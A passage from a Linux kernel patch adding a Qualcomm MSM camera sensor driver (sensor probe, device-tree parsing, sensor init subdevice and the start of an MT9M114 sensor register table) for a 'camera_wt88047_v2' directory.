memory for power down setting */ + power_down_setting = + kzalloc(sizeof(*power_setting) * size_down, GFP_KERNEL); + if (!power_down_setting) { + pr_err("failed: no memory power_setting %p", + power_down_setting); + rc = -ENOMEM; + goto FREE_POWER_SETTING; + } + + if (slave_info->power_setting_array.power_down_setting) { + if (copy_from_user(power_down_setting, + (void *)slave_info->power_setting_array. + power_down_setting, + sizeof(*power_down_setting) * size_down)) { + pr_err("failed: copy_from_user"); + rc = -EFAULT; + goto FREE_POWER_DOWN_SETTING; + } + } else { + pr_err("failed: no power_down_setting"); + if (copy_from_user(power_down_setting, + (void *)slave_info->power_setting_array. + power_setting, + sizeof(*power_down_setting) * size_down)) { + pr_err("failed: copy_from_user"); + rc = -EFAULT; + goto FREE_POWER_DOWN_SETTING; + } + + /*reverce*/ + end = size_down - 1; + for (c = 0; c < size_down/2; c++) { + power_down_setting_t = power_down_setting[c]; + power_down_setting[c] = power_down_setting[end]; + power_down_setting[end] = power_down_setting_t; + end--; + } + + } + + /* Print power setting */ + for (i = 0; i < size_down; i++) { + CDBG("DOWN seq_type %d seq_val %d config_val %ld delay %d", + power_down_setting[i].seq_type, + power_down_setting[i].seq_val, + power_down_setting[i].config_val, + power_down_setting[i].delay); + } + + camera_info = kzalloc(sizeof(struct msm_camera_slave_info), GFP_KERNEL); + if (!camera_info) { + pr_err("failed: no memory slave_info %p", camera_info); + goto FREE_POWER_DOWN_SETTING; + + } + + /* Fill power up setting and power up setting size */ + power_info = &s_ctrl->sensordata->power_info; + power_info->power_setting = power_setting; + power_info->power_setting_size = size; + power_info->power_down_setting = power_down_setting; + power_info->power_down_setting_size = size_down; + + s_ctrl->sensordata->slave_info = camera_info; + + /* Fill sensor slave info */ + camera_info->sensor_slave_addr = slave_info->slave_addr; + camera_info->sensor_id_reg_addr = + slave_info->sensor_id_info.sensor_id_reg_addr; + camera_info->sensor_id = slave_info->sensor_id_info.sensor_id; + + /* Fill CCI master, slave address and CCI default params */ + if (!s_ctrl->sensor_i2c_client) { + pr_err("failed: sensor_i2c_client %p", + s_ctrl->sensor_i2c_client); + rc = -EINVAL; + goto FREE_CAMERA_INFO; + } + /* Fill sensor address type */ + s_ctrl->sensor_i2c_client->addr_type = slave_info->addr_type; + if (s_ctrl->sensor_i2c_client->client) + s_ctrl->sensor_i2c_client->client->addr = + camera_info->sensor_slave_addr; + + cci_client = s_ctrl->sensor_i2c_client->cci_client; + if (!cci_client) { + pr_err("failed: cci_client %p", cci_client); + goto FREE_CAMERA_INFO; + } + cci_client->cci_i2c_master = s_ctrl->cci_i2c_master; + cci_client->sid = slave_info->slave_addr >> 1; + cci_client->retries = 3; + cci_client->id_map = 0; + cci_client->i2c_freq_mode = slave_info->i2c_freq_mode; + + /* Parse and fill vreg params for powerup settings */ + rc = msm_camera_fill_vreg_params( + power_info->cam_vreg, + power_info->num_vreg, + power_info->power_setting, + power_info->power_setting_size); + if (rc < 0) { + pr_err("failed: msm_camera_get_dt_power_setting_data rc %d", + rc); + goto FREE_CAMERA_INFO; + } + + /* Parse and fill vreg params for powerdown settings*/ + rc = msm_camera_fill_vreg_params( + power_info->cam_vreg, + power_info->num_vreg, + power_info->power_down_setting, + power_info->power_down_setting_size); + if (rc < 0) { + pr_err("failed: msm_camera_fill_vreg_params for PDOWN rc %d", + rc); + goto FREE_CAMERA_INFO; + } + + /* Update sensor, actuator and eeprom name in + * sensor control structure */ + s_ctrl->sensordata->sensor_name = slave_info->sensor_name; + s_ctrl->sensordata->eeprom_name = slave_info->eeprom_name; + s_ctrl->sensordata->actuator_name = slave_info->actuator_name; + + /* + * Update eeporm subdevice Id by input eeprom name + */ + rc = msm_sensor_fill_eeprom_subdevid_by_name(s_ctrl); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto FREE_CAMERA_INFO; + } + /* + * Update actuator subdevice Id by input actuator name + */ + rc = msm_sensor_fill_actuator_subdevid_by_name(s_ctrl); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto FREE_CAMERA_INFO; + } + + /* Power up and probe sensor */ + rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); + if (rc < 0) { + pr_err("%s power up failed", slave_info->sensor_name); + goto FREE_CAMERA_INFO; + } + + pr_err("%s probe succeeded", slave_info->sensor_name); + + /* + Set probe succeeded flag to 1 so that no other camera shall + * probed on this slot + */ + s_ctrl->is_probe_succeed = 1; + + /* + * Create /dev/videoX node, comment for now until dummy /dev/videoX + * node is created and used by HAL + */ + + if (s_ctrl->sensor_device_type == MSM_CAMERA_PLATFORM_DEVICE) + rc = msm_sensor_driver_create_v4l_subdev(s_ctrl); + else + rc = msm_sensor_driver_create_i2c_v4l_subdev(s_ctrl); + if (rc < 0) { + pr_err("failed: camera creat v4l2 rc %d", rc); + goto CAMERA_POWER_DOWN; + } + + /* Power down */ + s_ctrl->func_tbl->sensor_power_down(s_ctrl); + + rc = msm_sensor_fill_slave_info_init_params( + slave_info, + s_ctrl->sensordata->sensor_info); + if (rc < 0) { + pr_err("%s Fill slave info failed", slave_info->sensor_name); + goto FREE_CAMERA_INFO; + } + rc = msm_sensor_validate_slave_info(s_ctrl->sensordata->sensor_info); + if (rc < 0) { + pr_err("%s Validate slave info failed", + slave_info->sensor_name); + goto FREE_CAMERA_INFO; + } + /* Update sensor mount angle and position in media entity flag */ + mount_pos = s_ctrl->sensordata->sensor_info->position << 16; + mount_pos = mount_pos | ((s_ctrl->sensordata->sensor_info-> + sensor_mount_angle / 90) << 8); + s_ctrl->msm_sd.sd.entity.flags = mount_pos | MEDIA_ENT_FL_DEFAULT; + + /*Save sensor info*/ + s_ctrl->sensordata->cam_slave_info = slave_info; + + return rc; + +CAMERA_POWER_DOWN: + s_ctrl->func_tbl->sensor_power_down(s_ctrl); +FREE_CAMERA_INFO: + kfree(camera_info); +FREE_POWER_DOWN_SETTING: + kfree(power_down_setting); +FREE_POWER_SETTING: + kfree(power_setting); +FREE_SLAVE_INFO: + kfree(slave_info); + return rc; +} + +static int32_t msm_sensor_driver_get_gpio_data( + struct msm_camera_sensor_board_info *sensordata, + struct device_node *of_node) +{ + int32_t rc = 0, i = 0; + struct msm_camera_gpio_conf *gconf = NULL; + uint16_t *gpio_array = NULL; + uint16_t gpio_array_size = 0; + + /* Validate input paramters */ + if (!sensordata || !of_node) { + pr_err("failed: invalid params sensordata %p of_node %p", + sensordata, of_node); + return -EINVAL; + } + + sensordata->power_info.gpio_conf = kzalloc( + sizeof(struct msm_camera_gpio_conf), GFP_KERNEL); + if (!sensordata->power_info.gpio_conf) { + pr_err("failed"); + return -ENOMEM; + } + gconf = sensordata->power_info.gpio_conf; + + gpio_array_size = of_gpio_count(of_node); + CDBG("gpio count %d", gpio_array_size); + if (!gpio_array_size) + return 0; + + gpio_array = kzalloc(sizeof(uint16_t) * gpio_array_size, GFP_KERNEL); + if (!gpio_array) { + pr_err("failed"); + goto FREE_GPIO_CONF; + } + for (i = 0; i < gpio_array_size; i++) { + gpio_array[i] = of_get_gpio(of_node, i); + CDBG("gpio_array[%d] = %d", i, gpio_array[i]); + } + + rc = msm_camera_get_dt_gpio_req_tbl(of_node, gconf, gpio_array, + gpio_array_size); + if (rc < 0) { + pr_err("failed"); + goto FREE_GPIO_CONF; + } + + rc = msm_camera_init_gpio_pin_tbl(of_node, gconf, gpio_array, + gpio_array_size); + if (rc < 0) { + pr_err("failed"); + goto FREE_GPIO_REQ_TBL; + } + + kfree(gpio_array); + return rc; + +FREE_GPIO_REQ_TBL: + kfree(sensordata->power_info.gpio_conf->cam_gpio_req_tbl); +FREE_GPIO_CONF: + kfree(sensordata->power_info.gpio_conf); + kfree(gpio_array); + return rc; +} + +static int32_t msm_sensor_driver_get_dt_data(struct msm_sensor_ctrl_t *s_ctrl) +{ + int32_t rc = 0; + struct msm_camera_sensor_board_info *sensordata = NULL; + struct device_node *of_node = s_ctrl->of_node; + uint32_t cell_id; + + s_ctrl->sensordata = kzalloc(sizeof(*sensordata), GFP_KERNEL); + if (!s_ctrl->sensordata) { + pr_err("failed: no memory"); + return -ENOMEM; + } + + sensordata = s_ctrl->sensordata; + + /* + * Read cell index - this cell index will be the camera slot where + * this camera will be mounted + */ + rc = of_property_read_u32(of_node, "cell-index", &cell_id); + if (rc < 0) { + pr_err("failed: cell-index rc %d", rc); + goto FREE_SENSOR_DATA; + } + s_ctrl->id = cell_id; + + /* Validate cell_id */ + if (cell_id >= MAX_CAMERAS) { + pr_err("failed: invalid cell_id %d", cell_id); + rc = -EINVAL; + goto FREE_SENSOR_DATA; + } + + /* Check whether g_sctrl is already filled for this cell_id */ + if (g_sctrl[cell_id]) { + pr_err("failed: sctrl already filled for cell_id %d", cell_id); + rc = -EINVAL; + goto FREE_SENSOR_DATA; + } + + /* Read subdev info */ + rc = msm_sensor_get_sub_module_index(of_node, &sensordata->sensor_info); + if (rc < 0) { + pr_err("failed"); + goto FREE_SENSOR_DATA; + } + + /* Read vreg information */ + rc = msm_camera_get_dt_vreg_data(of_node, + &sensordata->power_info.cam_vreg, + &sensordata->power_info.num_vreg); + if (rc < 0) { + pr_err("failed: msm_camera_get_dt_vreg_data rc %d", rc); + goto FREE_SUB_MODULE_DATA; + } + + /* Read gpio information */ + rc = msm_sensor_driver_get_gpio_data(sensordata, of_node); + if (rc < 0) { + pr_err("failed: msm_sensor_driver_get_gpio_data rc %d", rc); + goto FREE_VREG_DATA; + } + + /* Get CCI master */ + rc = of_property_read_u32(of_node, "qcom,cci-master", + &s_ctrl->cci_i2c_master); + CDBG("qcom,cci-master %d, rc %d", s_ctrl->cci_i2c_master, rc); + if (rc < 0) { + /* Set default master 0 */ + s_ctrl->cci_i2c_master = MASTER_0; + rc = 0; + } + + /* Get mount angle */ + if (0 > of_property_read_u32(of_node, "qcom,mount-angle", + &sensordata->sensor_info->sensor_mount_angle)) { + /* Invalidate mount angle flag */ + sensordata->sensor_info->is_mount_angle_valid = 0; + sensordata->sensor_info->sensor_mount_angle = 0; + } else { + sensordata->sensor_info->is_mount_angle_valid = 1; + } + CDBG("%s qcom,mount-angle %d\n", __func__, + sensordata->sensor_info->sensor_mount_angle); + if (0 > of_property_read_u32(of_node, "qcom,sensor-position", + &sensordata->sensor_info->position)) { + CDBG("%s:%d Invalid sensor position\n", __func__, __LINE__); + sensordata->sensor_info->position = INVALID_CAMERA_B; + } + if (0 > of_property_read_u32(of_node, "qcom,sensor-mode", + &sensordata->sensor_info->modes_supported)) { + CDBG("%s:%d Invalid sensor mode supported\n", + __func__, __LINE__); + sensordata->sensor_info->modes_supported = CAMERA_MODE_INVALID; + } + /* Get vdd-cx regulator */ + /*Optional property, don't return error if absent */ + of_property_read_string(of_node, "qcom,vdd-cx-name", + &sensordata->misc_regulator); + CDBG("qcom,misc_regulator %s", sensordata->misc_regulator); + + s_ctrl->set_mclk_23880000 = of_property_read_bool(of_node, + "qcom,mclk-23880000"); + + CDBG("%s qcom,mclk-23880000 = %d\n", __func__, + s_ctrl->set_mclk_23880000); + + return rc; + +FREE_VREG_DATA: + kfree(sensordata->power_info.cam_vreg); +FREE_SUB_MODULE_DATA: + kfree(sensordata->sensor_info); +FREE_SENSOR_DATA: + kfree(sensordata); + return rc; +} + +static int32_t msm_sensor_driver_parse(struct msm_sensor_ctrl_t *s_ctrl) +{ + int32_t rc = 0; + + CDBG("Enter"); + /* Validate input parameters */ + + + /* Allocate memory for sensor_i2c_client */ + s_ctrl->sensor_i2c_client = kzalloc(sizeof(*s_ctrl->sensor_i2c_client), + GFP_KERNEL); + if (!s_ctrl->sensor_i2c_client) { + pr_err("failed: no memory sensor_i2c_client %p", + s_ctrl->sensor_i2c_client); + return -ENOMEM; + } + + /* Allocate memory for mutex */ + s_ctrl->msm_sensor_mutex = kzalloc(sizeof(*s_ctrl->msm_sensor_mutex), + GFP_KERNEL); + if (!s_ctrl->msm_sensor_mutex) { + pr_err("failed: no memory msm_sensor_mutex %p", + s_ctrl->msm_sensor_mutex); + goto FREE_SENSOR_I2C_CLIENT; + } + + /* Parse dt information and store in sensor control structure */ + rc = msm_sensor_driver_get_dt_data(s_ctrl); + if (rc < 0) { + pr_err("failed: rc %d", rc); + goto FREE_MUTEX; + } + + /* Initialize mutex */ + mutex_init(s_ctrl->msm_sensor_mutex); + + /* Initilize v4l2 subdev info */ + s_ctrl->sensor_v4l2_subdev_info = msm_sensor_driver_subdev_info; + s_ctrl->sensor_v4l2_subdev_info_size = + ARRAY_SIZE(msm_sensor_driver_subdev_info); + + /* Initialize default parameters */ + rc = msm_sensor_init_default_params(s_ctrl); + if (rc < 0) { + pr_err("failed: msm_sensor_init_default_params rc %d", rc); + goto FREE_DT_DATA; + } + + /* Store sensor control structure in static database */ + g_sctrl[s_ctrl->id] = s_ctrl; + pr_err("g_sctrl[%d] %p", s_ctrl->id, g_sctrl[s_ctrl->id]); + + return rc; + +FREE_DT_DATA: + kfree(s_ctrl->sensordata->power_info.gpio_conf->gpio_num_info); + kfree(s_ctrl->sensordata->power_info.gpio_conf->cam_gpio_req_tbl); + kfree(s_ctrl->sensordata->power_info.gpio_conf); + kfree(s_ctrl->sensordata->power_info.cam_vreg); + kfree(s_ctrl->sensordata); +FREE_MUTEX: + kfree(s_ctrl->msm_sensor_mutex); +FREE_SENSOR_I2C_CLIENT: + kfree(s_ctrl->sensor_i2c_client); + return rc; +} + +static int32_t msm_sensor_driver_platform_probe(struct platform_device *pdev) +{ + int32_t rc = 0; + struct msm_sensor_ctrl_t *s_ctrl = NULL; + + + /* Create sensor control structure */ + s_ctrl = kzalloc(sizeof(*s_ctrl), GFP_KERNEL); + if (!s_ctrl) { + pr_err("failed: no memory s_ctrl %p", s_ctrl); + return -ENOMEM; + } + + platform_set_drvdata(pdev, s_ctrl); + + /* Initialize sensor device type */ + s_ctrl->sensor_device_type = MSM_CAMERA_PLATFORM_DEVICE; + s_ctrl->of_node = pdev->dev.of_node; + + rc = msm_sensor_driver_parse(s_ctrl); + if (rc < 0) { + pr_err("failed: msm_sensor_driver_parse rc %d", rc); + goto FREE_S_CTRL; + } + + /* Fill platform device */ + pdev->id = s_ctrl->id; + s_ctrl->pdev = pdev; + + /* Fill device in power info */ + s_ctrl->sensordata->power_info.dev = &pdev->dev; + + return rc; +FREE_S_CTRL: + kfree(s_ctrl); + return rc; +} + +static int32_t msm_sensor_driver_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + int32_t rc = 0; + struct msm_sensor_ctrl_t *s_ctrl; + + CDBG("\n\nEnter: msm_sensor_driver_i2c_probe"); + if (!i2c_check_functionality(client->adapter, I2C_FUNC_I2C)) { + pr_err("%s %s i2c_check_functionality failed\n", + __func__, client->name); + rc = -EFAULT; + return rc; + } + + /* Create sensor control structure */ + s_ctrl = kzalloc(sizeof(*s_ctrl), GFP_KERNEL); + if (!s_ctrl) { + pr_err("failed: no memory s_ctrl %p", s_ctrl); + return -ENOMEM; + } + + i2c_set_clientdata(client, s_ctrl); + + /* Initialize sensor device type */ + s_ctrl->sensor_device_type = MSM_CAMERA_I2C_DEVICE; + s_ctrl->of_node = client->dev.of_node; + + rc = msm_sensor_driver_parse(s_ctrl); + if (rc < 0) { + pr_err("failed: msm_sensor_driver_parse rc %d", rc); + goto FREE_S_CTRL; + } + + if (s_ctrl->sensor_i2c_client != NULL) { + s_ctrl->sensor_i2c_client->client = client; + s_ctrl->sensordata->power_info.dev = &client->dev; + + } + + return rc; +FREE_S_CTRL: + kfree(s_ctrl); + return rc; +} + +static int msm_sensor_driver_i2c_remove(struct i2c_client *client) +{ + struct msm_sensor_ctrl_t *s_ctrl = i2c_get_clientdata(client); + + pr_err("%s: sensor FREE\n", __func__); + + if (!s_ctrl) { + pr_err("%s: sensor device is NULL\n", __func__); + return 0; + } + + g_sctrl[s_ctrl->id] = NULL; + msm_sensor_free_sensor_data(s_ctrl); + kfree(s_ctrl->msm_sensor_mutex); + kfree(s_ctrl->sensor_i2c_client); + kfree(s_ctrl); + + return 0; +} + +static const struct i2c_device_id i2c_id[] = { + {SENSOR_DRIVER_I2C, (kernel_ulong_t)NULL}, + { } +}; + +static struct i2c_driver msm_sensor_driver_i2c = { + .id_table = i2c_id, + .probe = msm_sensor_driver_i2c_probe, + .remove = msm_sensor_driver_i2c_remove, + .driver = { + .name = SENSOR_DRIVER_I2C, + }, +}; + +static int __init msm_sensor_driver_init(void) +{ + int32_t rc = 0; + + CDBG("Enter"); + rc = platform_driver_probe(&msm_sensor_platform_driver, + msm_sensor_driver_platform_probe); + if (!rc) { + CDBG("probe success"); + return rc; + } else { + CDBG("probe i2c"); + rc = i2c_add_driver(&msm_sensor_driver_i2c); + } + + return rc; +} + + +static void __exit msm_sensor_driver_exit(void) +{ + CDBG("Enter"); + platform_driver_unregister(&msm_sensor_platform_driver); + i2c_del_driver(&msm_sensor_driver_i2c); + return; +} + +module_init(msm_sensor_driver_init); +module_exit(msm_sensor_driver_exit); +MODULE_DESCRIPTION("msm_sensor_driver"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_driver.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_driver.h new file mode 100644 index 0000000000000..63ca657655283 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_driver.h @@ -0,0 +1,20 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_SENSOR_DRIVER_H +#define MSM_SENSOR_DRIVER_H + +#include "msm_sensor.h" + +int32_t msm_sensor_driver_probe(void *setting); + +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_init.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_init.c new file mode 100644 index 0000000000000..6c744997dd9e0 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_init.c @@ -0,0 +1,186 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#define pr_fmt(fmt) "MSM-SENSOR-INIT %s:%d " fmt "\n", __func__, __LINE__ + +/* Header files */ +#include +#include "msm_sensor_init.h" +#include "msm_sensor_driver.h" +#include "msm_sensor.h" +#include "msm_sd.h" + +/* Logging macro */ +/*#define CONFIG_MSMB_CAMERA_DEBUG*/ +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif + +static struct msm_sensor_init_t *s_init; + +/* Static function declaration */ +static long msm_sensor_init_subdev_ioctl(struct v4l2_subdev *sd, + unsigned int cmd, void *arg); + +/* Static structure declaration */ +static struct v4l2_subdev_core_ops msm_sensor_init_subdev_core_ops = { + .ioctl = msm_sensor_init_subdev_ioctl, +}; + +static struct v4l2_subdev_ops msm_sensor_init_subdev_ops = { + .core = &msm_sensor_init_subdev_core_ops, +}; + +static const struct v4l2_subdev_internal_ops msm_sensor_init_internal_ops; + +static int msm_sensor_wait_for_probe_done(struct msm_sensor_init_t *s_init) +{ + int rc; + int tm = 10000; + + if (s_init->module_init_status == 1) { + pr_err("msm_cam_get_module_init_status -2\n"); + return 0; + } + rc = wait_event_interruptible_timeout(s_init->state_wait, + (s_init->module_init_status == 1), msecs_to_jiffies(tm)); + if (rc < 0) + pr_err("%s:%d wait failed\n", __func__, __LINE__); + else if (rc == 0) + pr_err("%s:%d wait timeout\n", __func__, __LINE__); + + return rc; +} + +/* Static function definition */ +static int32_t msm_sensor_driver_cmd(struct msm_sensor_init_t *s_init, + void *arg) +{ + int32_t rc = 0; + struct sensor_init_cfg_data *cfg = (struct sensor_init_cfg_data *)arg; + + /* Validate input parameters */ + if (!s_init || !cfg) { + pr_err("failed: s_init %p cfg %p", s_init, cfg); + return -EINVAL; + } + + switch (cfg->cfgtype) { + case CFG_SINIT_PROBE: + mutex_lock(&s_init->imutex); + s_init->module_init_status = 0; + rc = msm_sensor_driver_probe(cfg->cfg.setting); + mutex_unlock(&s_init->imutex); + if (rc < 0) + pr_err("failed: msm_sensor_driver_probe rc %d", rc); + break; + + case CFG_SINIT_PROBE_DONE: + s_init->module_init_status = 1; + wake_up(&s_init->state_wait); + break; + + case CFG_SINIT_PROBE_WAIT_DONE: + msm_sensor_wait_for_probe_done(s_init); + break; + + default: + pr_err("default"); + break; + } + + return rc; +} + +static long msm_sensor_init_subdev_ioctl(struct v4l2_subdev *sd, + unsigned int cmd, void *arg) +{ + int32_t rc = 0; + struct msm_sensor_init_t *s_init = v4l2_get_subdevdata(sd); + CDBG("Enter"); + + /* Validate input parameters */ + if (!s_init) { + pr_err("failed: s_init %p", s_init); + return -EINVAL; + } + + switch (cmd) { + case VIDIOC_MSM_SENSOR_INIT_CFG: + rc = msm_sensor_driver_cmd(s_init, arg); + break; + + default: + pr_err_ratelimited("default\n"); + break; + } + + return 0; +} + +static int __init msm_sensor_init_module(void) +{ + int ret = 0; + /* Allocate memory for msm_sensor_init control structure */ + s_init = kzalloc(sizeof(struct msm_sensor_init_t), GFP_KERNEL); + if (!s_init) { + pr_err("failed: no memory s_init %p", NULL); + return -ENOMEM; + } + + pr_err("MSM_SENSOR_INIT_MODULE %p", NULL); + + /* Initialize mutex */ + mutex_init(&s_init->imutex); + + /* Create /dev/v4l-subdevX for msm_sensor_init */ + v4l2_subdev_init(&s_init->msm_sd.sd, &msm_sensor_init_subdev_ops); + snprintf(s_init->msm_sd.sd.name, sizeof(s_init->msm_sd.sd.name), "%s", + "msm_sensor_init"); + v4l2_set_subdevdata(&s_init->msm_sd.sd, s_init); + s_init->msm_sd.sd.internal_ops = &msm_sensor_init_internal_ops; + s_init->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; + media_entity_init(&s_init->msm_sd.sd.entity, 0, NULL, 0); + s_init->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; + s_init->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_SENSOR_INIT; + s_init->msm_sd.sd.entity.name = s_init->msm_sd.sd.name; + s_init->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x6; + ret = msm_sd_register(&s_init->msm_sd); + if (ret) { + CDBG("%s: msm_sd_register error = %d\n", __func__, rc); + goto error; + } + + init_waitqueue_head(&s_init->state_wait); + + return 0; +error: + mutex_destroy(&s_init->imutex); + kfree(s_init); + return ret; +} + +static void __exit msm_sensor_exit_module(void) +{ + msm_sd_unregister(&s_init->msm_sd); + mutex_destroy(&s_init->imutex); + kfree(s_init); + return; +} + +module_init(msm_sensor_init_module); +module_exit(msm_sensor_exit_module); +MODULE_DESCRIPTION("msm_sensor_init"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_init.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_init.h new file mode 100644 index 0000000000000..a9700ec94d43b --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_init.h @@ -0,0 +1,25 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_SENSOR_INIT_H +#define MSM_SENSOR_INIT_H + +#include "msm_sensor.h" + +struct msm_sensor_init_t { + struct mutex imutex; + struct msm_sd_subdev msm_sd; + int module_init_status; + wait_queue_head_t state_wait; +}; + +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/mt9m114.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/mt9m114.c new file mode 100644 index 0000000000000..97feef3d945c9 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/mt9m114.c @@ -0,0 +1,1510 @@ +/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include "msm_sensor.h" +#include "msm_cci.h" +#include "msm_camera_io_util.h" +#define MT9M114_SENSOR_NAME "mt9m114" +#define PLATFORM_DRIVER_NAME "msm_camera_mt9m114" +#define mt9m114_obj mt9m114_##obj + +/*#define CONFIG_MSMB_CAMERA_DEBUG*/ +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif + +/* Sysctl registers */ +#define MT9M114_COMMAND_REGISTER 0x0080 +#define MT9M114_COMMAND_REGISTER_APPLY_PATCH (1 << 0) +#define MT9M114_COMMAND_REGISTER_SET_STATE (1 << 1) +#define MT9M114_COMMAND_REGISTER_REFRESH (1 << 2) +#define MT9M114_COMMAND_REGISTER_WAIT_FOR_EVENT (1 << 3) +#define MT9M114_COMMAND_REGISTER_OK (1 << 15) + +DEFINE_MSM_MUTEX(mt9m114_mut); +static struct msm_sensor_ctrl_t mt9m114_s_ctrl; + +static struct msm_sensor_power_setting mt9m114_power_setting[] = { + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VIO, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VDIG, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VANA, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_LOW, + .delay = 1, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_HIGH, + .delay = 30, + }, + { + .seq_type = SENSOR_CLK, + .seq_val = SENSOR_CAM_MCLK, + .config_val = 0, + .delay = 100, + }, + { + .seq_type = SENSOR_I2C_MUX, + .seq_val = 0, + .config_val = 0, + .delay = 0, + }, +}; + +static struct msm_camera_i2c_reg_conf mt9m114_720p_settings[] = { + {0xdc00, 0x50, MSM_CAMERA_I2C_BYTE_DATA, MSM_CAMERA_I2C_CMD_WRITE}, + {MT9M114_COMMAND_REGISTER, MT9M114_COMMAND_REGISTER_SET_STATE, + MSM_CAMERA_I2C_UNSET_WORD_MASK, MSM_CAMERA_I2C_CMD_POLL}, + {MT9M114_COMMAND_REGISTER, (MT9M114_COMMAND_REGISTER_OK | + MT9M114_COMMAND_REGISTER_SET_STATE), MSM_CAMERA_I2C_WORD_DATA, + MSM_CAMERA_I2C_CMD_WRITE}, + {MT9M114_COMMAND_REGISTER, MT9M114_COMMAND_REGISTER_SET_STATE, + MSM_CAMERA_I2C_UNSET_WORD_MASK, MSM_CAMERA_I2C_CMD_POLL}, + {0xDC01, 0x52, MSM_CAMERA_I2C_BYTE_DATA, MSM_CAMERA_I2C_CMD_POLL}, + + {0x098E, 0, MSM_CAMERA_I2C_BYTE_DATA}, + {0xC800, 0x007C,},/*y_addr_start = 124*/ + {0xC802, 0x0004,},/*x_addr_start = 4*/ + {0xC804, 0x0353,},/*y_addr_end = 851*/ + {0xC806, 0x050B,},/*x_addr_end = 1291*/ + {0xC808, 0x02DC,},/*pixclk = 48000000*/ + {0xC80A, 0x6C00,},/*pixclk = 48000000*/ + {0xC80C, 0x0001,},/*row_speed = 1*/ + {0xC80E, 0x00DB,},/*fine_integ_time_min = 219*/ + {0xC810, 0x05BD,},/*fine_integ_time_max = 1469*/ + {0xC812, 0x03E8,},/*frame_length_lines = 1000*/ + {0xC814, 0x0640,},/*line_length_pck = 1600*/ + {0xC816, 0x0060,},/*fine_correction = 96*/ + {0xC818, 0x02D3,},/*cpipe_last_row = 723*/ + {0xC826, 0x0020,},/*reg_0_data = 32*/ + {0xC834, 0x0000,},/*sensor_control_read_mode = 0*/ + {0xC854, 0x0000,},/*crop_window_xoffset = 0*/ + {0xC856, 0x0000,},/*crop_window_yoffset = 0*/ + {0xC858, 0x0500,},/*crop_window_width = 1280*/ + {0xC85A, 0x02D0,},/*crop_window_height = 720*/ + {0xC85C, 0x03, MSM_CAMERA_I2C_BYTE_DATA}, /*crop_cropmode = 3*/ + {0xC868, 0x0500,},/*output_width = 1280*/ + {0xC86A, 0x02D0,},/*output_height = 720*/ + {0xC878, 0x00, MSM_CAMERA_I2C_BYTE_DATA}, /*aet_aemode = 0*/ + {0xC88C, 0x1E00,},/*aet_max_frame_rate = 7680*/ + {0xC88E, 0x1E00,},/*aet_min_frame_rate = 7680*/ + {0xC914, 0x0000,},/*stat_awb_window_xstart = 0*/ + {0xC916, 0x0000,},/*stat_awb_window_ystart = 0*/ + {0xC918, 